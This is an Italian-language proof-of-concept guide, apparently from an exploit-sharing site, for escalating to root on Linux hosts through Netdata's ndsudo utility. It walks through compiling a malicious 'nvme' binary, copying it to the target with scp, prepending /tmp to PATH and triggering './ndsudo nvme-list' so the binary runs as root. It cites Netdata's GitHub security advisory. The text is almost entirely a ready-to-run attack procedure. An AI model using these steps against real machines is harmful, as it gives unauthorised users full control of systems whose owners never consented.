Escalation dei privilegi tramite ndsudo (Exploit locale di Netdata)

Questa POC viene utilizzata per sfruttare un'utilità ndsudo vulnerabile inclusa in Netdata per elevare i privilegi locali a root. L'exploit funziona iniettando un binario malevolo nel PATH dell'utente che impersona un comando fidato (nvme) e viene eseguito con privilegi di root da ndsudo.

Prerequisiti e presupposti

• Hai accesso alla shell locale sul sistema target.

• Puoi eseguire il seguente comando ma fallisce con un errore "not found" o simile:

  root@kitploit:~

  ./ndsudo nvme-list
  

1. Compila il payload malevolo

Sulla tua macchina attaccante (o sul sistema vulnerabile se ha un compilatore), compila il binario (ad esempio, dal file poc.c nel repository):

gcc poc.c -o nvme

Questo binario dovrebbe essere progettato per avviare una shell root o eseguire comandi arbitrari con privilegi di root.

2. Trasferisci il payload al sistema target

Sposta o carica il binario compilato nvme in una directory scrivibile dal tuo utente, come /tmp:

scp nvme user@target:/tmp/
# or use any file upload method you have

3. Prepara il payload per l'esecuzione

Sul sistema target, assicurati che il binario sia eseguibile e anteponi la sua directory al tuo PATH:

chmod +x /tmp/nvme
export PATH=/tmp:$PATH

Questo garantisce che ndsudo risolva ed esegua il tuo nvme malevolo invece di quello legittimo.

4. Attiva ndsudo per eseguire il tuo payload

Esegui il comando vulnerabile per attivare ndsudo:

./ndsudo nvme-list

Risorse

• Avviso di sicurezza Netdata su GitHub: https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93